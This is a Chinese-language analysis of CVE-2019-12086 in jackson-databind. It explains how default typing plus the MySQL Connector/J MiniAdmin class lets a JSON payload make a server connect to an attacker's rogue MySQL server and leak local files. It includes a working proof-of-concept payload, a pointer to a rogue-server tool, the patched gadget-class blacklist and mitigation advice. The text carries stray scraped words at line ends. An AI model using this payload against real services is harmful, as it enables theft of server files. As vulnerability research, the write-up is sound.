A Polymorphic Typing issue was discovered in FasterXML jackson-databind 2.x before 2.9.9. When Default Typing is enabled (either globally or for a specific property) for an externally exposed JSON endpoint, the service has the mysql-connector-java jar (8.0.14 or earlier) in the classpath, and an attacker can host a crafted MySQL server reachable by the victim, an attacker can send a crafted JSON message that allows them to read arbitrary local files on the server. This occurs because of missing com.mysql.cj.jdbc.admin.MiniAdmin validation.javascript
使用了jackson-databind 2.x before 2.9.9的Java應用,若是ClassPath中有com.mysql.cj.jdbc.admin.MiniAdmin(存在於MySQL的JDBC驅動中)這個類,那麼Java應用所在的服務器上的文件,就可能被任意讀取並傳送到惡意的MySQL Server。具體原理下面分析。html
public class Person { public String name; public int age; public PhoneNumber phone; } abstract class PhoneNumber { public int num; } public class InternationalNumber extends PhoneNumber { public int areaCode; } public class DomesticNumber extends PhoneNumber { }
一個序列化後的樣例:java
{ "name" : "Bob", "age" : 28. "phone" : { "areaCode" : 555, "num" : 1234567 } }
序列化後類型消失,反序列化時由於PhoneNumber是抽象類,不知道該建立哪個子類的對象。python
Jackson解決序列化時不知道類型的問題,能夠用Default Typing:mysql
ObjectMapper om = new ObjectMapper(); om.enableDefaultTyping(); Person p = new Person(); p.name = "Bob"; p.age = 28; InternationalNumber phone = new InternationalNumber(); phone.areaCode = 555; phone.num = 1234567; p.phone = phone; System.out.println(om.writeValueAsString(p));
{ "name":"Bob", "age":28, "phone":["jackson.InternationalNumber",{"num":1234567,"areaCode":555}] }
也有其它方法,再也不贅述了,異曲同工,都是在JSON中增長數據類型信息,這樣反序列化的時候Jackson就知道了該使用哪個類來建立對象。git
MySQL支持使用LOAD DATA LOCAL INFILE這樣的語法,將客戶端本地的文件中的數據insert到MySQL的某張表中。挺好的功能,就是協議設計的有點怪,大概是這個樣子的:github
這個協議的問題是,客戶端發送哪一個文件的內容,取決於第3步,服務端要哪一個文件,若是服務端是個惡意的MySQL,那麼他能夠讀取客戶端的任意文件,好比讀取/etc/passwd:spring
並且,在大部分客戶端(好比MySQL Connector/J )的實現裏,第一、2步不是必須的,客戶端發送任意查詢給服務端,服務端均可以返回文件發送的請求。而大部分客戶端在鏈接創建以後,都會有一些查詢服務端配置之類的查詢,因此使用這些客戶端,只要建立了到惡意MySQL的鏈接,那麼客戶端所在服務器上的全部文件均可能泄露。sql
引用MySQL官方文檔以下:apache
In theory, a patched server could be built that would tell the client program to transfer a file of the server's choosing rather than the file named by the client in the LOAD DATA statement.
MySQL的JDBC驅動有一個建立鏈接的配置項allowLoadLocalInfile,用來控制是否容許從本地讀取文件,默認值是true,也就是容許。
不清楚具體從哪一個版本開始,MySQL的JDBC驅動多了這麼一個類com.mysql.cj.jdbc.admin.MiniAdmin,可能沒什麼人用過,它有一個特色,就是在構造方法裏會建立一個到指定url的JDBC鏈接。
public class MiniAdmin { private JdbcConnection conn; public MiniAdmin(String jdbcUrl) throws SQLException { this(jdbcUrl, new Properties()); } public MiniAdmin(String jdbcUrl, Properties props) throws SQLException { this.conn = (JdbcConnection) (new Driver().connect(jdbcUrl, props)); } ... }
以上兩個問題,就致使只要使用惡意MySQL的url做爲參數建立一個com.mysql.cj.jdbc.admin.MiniAdmin對象,就能夠讀取任意文件。
首先建立一個惡意的MySQL,能夠使用https://github.com/Gifts/Rogue-MySql-Server。這個server讀取客戶端文件,並寫入到mysql.log中。
假設啓動在ip:X.X.X.X上面,那麼在客戶端執行以下代碼,執行代碼所在的機器上的c:\windows\win.ini文件內容就會出如今mysql.log中。
ObjectMapper om = new ObjectMapper(); om.enableDefaultTyping(); String poc = "[\"com.mysql.cj.jdbc.admin.MiniAdmin\", \"jdbc:mysql://X.X.X.X:3306/db\"]"; Object obj = om.readValue(poc, Object.class);
端口號和文件號在Rogue-MySql-Server中寫死了,能夠打開任意修改,就是個python的腳本。
以上是POC,在實際的生產環境中,能夠經過往一些接受JSON參數的接口發送惡意的JSON數據來達成攻擊的目的。
MySQL Connector/J 8.0.15開始將allowLoadLocalInfile默認值設置爲false。具體見這裏
從2.9.9版本開始,將com.mysql.cj.jdbc.admin.MiniAdmin加入反序列化黑名單:
static { Set<String> s = new HashSet<String>(); // Courtesy of [https://github.com/kantega/notsoserial]: // (and wrt [databind#1599]) s.add("org.apache.commons.collections.functors.InvokerTransformer"); s.add("org.apache.commons.collections.functors.InstantiateTransformer"); s.add("org.apache.commons.collections4.functors.InvokerTransformer"); s.add("org.apache.commons.collections4.functors.InstantiateTransformer"); s.add("org.codehaus.groovy.runtime.ConvertedClosure"); s.add("org.codehaus.groovy.runtime.MethodClosure"); s.add("org.springframework.beans.factory.ObjectFactory"); s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); s.add("org.apache.xalan.xsltc.trax.TemplatesImpl"); // [databind#1680]: may or may not be problem, take no chance s.add("com.sun.rowset.JdbcRowSetImpl"); // [databind#1737]; JDK provided s.add("java.util.logging.FileHandler"); s.add("java.rmi.server.UnicastRemoteObject"); // [databind#1737]; 3rd party //s.add("org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor"); // deprecated by [databind#1855] s.add("org.springframework.beans.factory.config.PropertyPathFactoryBean"); // s.add("com.mchange.v2.c3p0.JndiRefForwardingDataSource"); // deprecated by [databind#1931] // s.add("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"); // - "" - // [databind#1855]: more 3rd party s.add("org.apache.tomcat.dbcp.dbcp2.BasicDataSource"); s.add("com.sun.org.apache.bcel.internal.util.ClassLoader"); // [databind#1899]: more 3rd party s.add("org.hibernate.jmx.StatisticsService"); s.add("org.apache.ibatis.datasource.jndi.JndiDataSourceFactory"); // [databind#2032]: more 3rd party; data exfiltration via xml parsed ext entities s.add("org.apache.ibatis.parsing.XPathParser"); // [databind#2052]: Jodd-db, with jndi/ldap lookup s.add("jodd.db.connection.DataSourceConnectionProvider"); // [databind#2058]: Oracle JDBC driver, with jndi/ldap lookup s.add("oracle.jdbc.connector.OracleManagedConnectionFactory"); s.add("oracle.jdbc.rowset.OracleJDBCRowSet"); // [databind#2097]: some 3rd party, one JDK-bundled s.add("org.slf4j.ext.EventData"); s.add("flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor"); s.add("com.sun.deploy.security.ruleset.DRSHelper"); s.add("org.apache.axis2.jaxws.spi.handler.HandlerResolverImpl"); // [databind#2186]: yet more 3rd party gadgets s.add("org.jboss.util.propertyeditor.DocumentEditor"); s.add("org.apache.openjpa.ee.RegistryManagedRuntime"); s.add("org.apache.openjpa.ee.JNDIManagedRuntime"); s.add("org.apache.axis2.transport.jms.JMSOutTransportInfo"); // [databind#2326] (2.9.9): one more 3rd party gadget s.add("com.mysql.cj.jdbc.admin.MiniAdmin"); DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s); }
如下是Jackson做者的建議:
Try to keep up with updated versions of Jackson (jackson-databind): it should always be safe to upgrade to the latest patch version of given minor version (safest in the sense they should be no breaking changes to functionality)
If possible, AVOID enabling default typing (since it is usually class name based). It is better to be explicit about specifying where polymorphism is needed.
AVOID using java.lang.Object (or, java.util.Serializable) as the nominal type of polymorphic values, regardless of whether you use per-type, per-property, or Default Typing
If possible USE 「type name」 and NOT classname as type id: @JsonTypeInfo(use = Id.NAME) — this may require annotation of type name (see @JsonTypeName and @JsonSubTypes)
我的覺着最重要是第3點,避免使用Object對象做爲Jackson反序列化的目標。
https://github.com/FasterXML/jackson-databind/issues/2326 https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062 http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/ https://lightless.me/archives/read-mysql-client-file.html http://ftp.nchu.edu.tw/MySQL/doc/refman/5.0/en/load-data-local.html https://nvd.nist.gov/vuln/detail/CVE-2019-12086